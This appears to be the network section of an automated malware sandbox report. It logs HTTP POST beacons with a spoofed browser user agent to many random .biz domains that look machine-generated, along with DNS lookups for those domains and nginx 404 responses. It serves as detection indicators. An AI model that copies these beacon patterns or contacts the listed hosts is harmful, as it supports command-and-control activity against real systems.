Source: global traffic	HTTP traffic detected: POST /oiol HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /clexsjcapi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /inwjou HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ejhxrp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /kt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ctmnxqregqafw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz
Source: global traffic	DNS traffic detected: DNS query: xlfhhhm.biz
Source: global traffic	DNS traffic detected: DNS query: ifsaia.biz
Source: global traffic	DNS traffic detected: DNS query: saytjshyf.biz
Source: global traffic	DNS traffic detected: DNS query: vcddkls.biz
Source: global traffic	DNS traffic detected: DNS query: fwiwk.biz
Source: global traffic	DNS traffic detected: DNS query: tbjrpv.biz
Source: global traffic	DNS traffic detected: DNS query: deoci.biz
Source: global traffic	DNS traffic detected: DNS query: gytujflc.biz
Source: global traffic	DNS traffic detected: DNS query: qaynky.biz
Source: global traffic	DNS traffic detected: DNS query: bumxkqgxu.biz
Source: global traffic	DNS traffic detected: DNS query: dwrqljrr.biz
Source: global traffic	DNS traffic detected: DNS query: nqwjmb.biz
Source: global traffic	DNS traffic detected: DNS query: ytctnunms.biz
Source: global traffic	DNS traffic detected: DNS query: myups.biz
Source: global traffic	DNS traffic detected: DNS query: oshhkdluh.biz
Source: global traffic	DNS traffic detected: DNS query: yunalwv.biz
Source: global traffic	DNS traffic detected: DNS query: jpskm.biz
Source: global traffic	DNS traffic detected: DNS query: lrxdmhrr.biz
Source: global traffic	DNS traffic detected: DNS query: wllvnzb.biz
Source: global traffic	DNS traffic detected: DNS query: gnqgo.biz
Source: global traffic	DNS traffic detected: DNS query: jhvzpcfg.biz
Source: global traffic	DNS traffic detected: DNS query: acwjcqqv.biz
Source: global traffic	DNS traffic detected: DNS query: lejtdj.biz
Source: global traffic	DNS traffic detected: DNS query: vyome.biz
Source: global traffic	DNS traffic detected: DNS query: yauexmxk.biz
Source: global traffic	DNS traffic detected: DNS query: iuzpxe.biz
Source: global traffic	DNS traffic detected: DNS query: sxmiywsfv.biz
Source: global traffic	DNS traffic detected: DNS query: vrrazpdh.biz
Source: global traffic	DNS traffic detected: DNS query: ftxlah.biz
Source: global traffic	DNS traffic detected: DNS query: typgfhb.biz
Source: global traffic	DNS traffic detected: DNS query: esuzf.biz
Source: global traffic	DNS traffic detected: DNS query: gvijgjwkh.biz
Source: global traffic	DNS traffic detected: DNS query: qpnczch.biz
Source: global traffic	DNS traffic detected: DNS query: brsua.biz
Source: global traffic	DNS traffic detected: DNS query: dlynankz.biz
Source: global traffic	DNS traffic detected: DNS query: oflybfv.biz
Source: global traffic	DNS traffic detected: DNS query: yhqqc.biz
Source: global traffic	DNS traffic detected: DNS query: mnjmhp.biz
Source: global traffic	DNS traffic detected: DNS query: opowhhece.biz
Source: global traffic	DNS traffic detected: DNS query: zjbpaao.biz
Source: global traffic	DNS traffic detected: DNS query: jdhhbs.biz
Source: global traffic	DNS traffic detected: DNS query: mgmsclkyu.biz
Source: global traffic	DNS traffic detected: DNS query: warkcdu.biz
Source: global traffic	DNS traffic detected: DNS query: gcedd.biz
Source: global traffic	DNS traffic detected: DNS query: jwkoeoqns.biz
Source: global traffic	DNS traffic detected: DNS query: xccjj.biz
Source: global traffic	DNS traffic detected: DNS query: hehckyov.biz
Source: global traffic	DNS traffic detected: DNS query: rynmcq.biz
Source: global traffic	DNS traffic detected: DNS query: uaafd.biz
Source: global traffic	DNS traffic detected: DNS query: eufxebus.biz
Source: global traffic	DNS traffic detected: DNS query: pwlqfu.biz
Source: global traffic	DNS traffic detected: DNS query: rrqafepng.biz
Source: global traffic	DNS traffic detected: DNS query: ctdtgwag.biz
Source: global traffic	DNS traffic detected: DNS query: tnevuluw.biz
Source: global traffic	DNS traffic detected: DNS query: whjovd.biz
Source: global traffic	DNS traffic detected: DNS query: gjogvvpsf.biz
Source: global traffic	DNS traffic detected: DNS query: reczwga.biz
Source: global traffic	DNS traffic detected: DNS query: bghjpy.biz
Source: global traffic	DNS traffic detected: DNS query: damcprvgv.biz
Source: global traffic	DNS traffic detected: DNS query: ocsvqjg.biz
Source: global traffic	DNS traffic detected: DNS query: ywffr.biz
Source: global traffic	DNS traffic detected: DNS query: ecxbwt.biz
Source: global traffic	DNS traffic detected: DNS query: pectx.biz
Source: global traffic	DNS traffic detected: DNS query: zyiexezl.biz
Source: global traffic	DNS traffic detected: DNS query: banwyw.biz
Source: global traffic	DNS traffic detected: DNS query: muapr.biz
Source: global traffic	DNS traffic detected: DNS query: wxgzshna.biz
Source: global traffic	DNS traffic detected: DNS query: zrlssa.biz
Source: global traffic	DNS traffic detected: DNS query: jlqltsjvh.biz
Source: global traffic	DNS traffic detected: DNS query: xyrgy.biz
Source: global traffic	DNS traffic detected: DNS query: htwqzczce.biz
Source: global traffic	DNS traffic detected: DNS query: kvbjaur.biz
Source: global traffic	DNS traffic detected: DNS query: uphca.biz
Source: global traffic	DNS traffic detected: DNS query: fjumtfnz.biz
Source: global traffic	DNS traffic detected: DNS query: hlzfuyy.biz
Source: global traffic	DNS traffic detected: DNS query: rffxu.biz
Source: global traffic	DNS traffic detected: DNS query: cikivjto.biz
Source: global traffic	DNS traffic detected: DNS query: qncdaagct.biz
Source: global traffic	DNS traffic detected: DNS query: shpwbsrw.biz
Source: global traffic	DNS traffic detected: DNS query: cjvgcl.biz
Source: global traffic	DNS traffic detected: DNS query: neazudmrq.biz
Source: global traffic	DNS traffic detected: DNS query: pgfsvwx.biz
Source: global traffic	DNS traffic detected: DNS query: aatcwo.biz
Source: global traffic	DNS traffic detected: DNS query: kcyvxytog.biz
Source: global traffic	DNS traffic detected: DNS query: nwdnxrd.biz
Source: global traffic	DNS traffic detected: DNS query: ereplfx.biz
Source: global traffic	DNS traffic detected: DNS query: ptrim.biz
Source: global traffic	DNS traffic detected: DNS query: znwbniskf.biz
Source: global traffic	DNS traffic detected: DNS query: cpclnad.biz

Source: unknown

HTTP traffic detected: POST /ea HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:50:52 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:50:53 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 28 Oct 2024 15:51:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
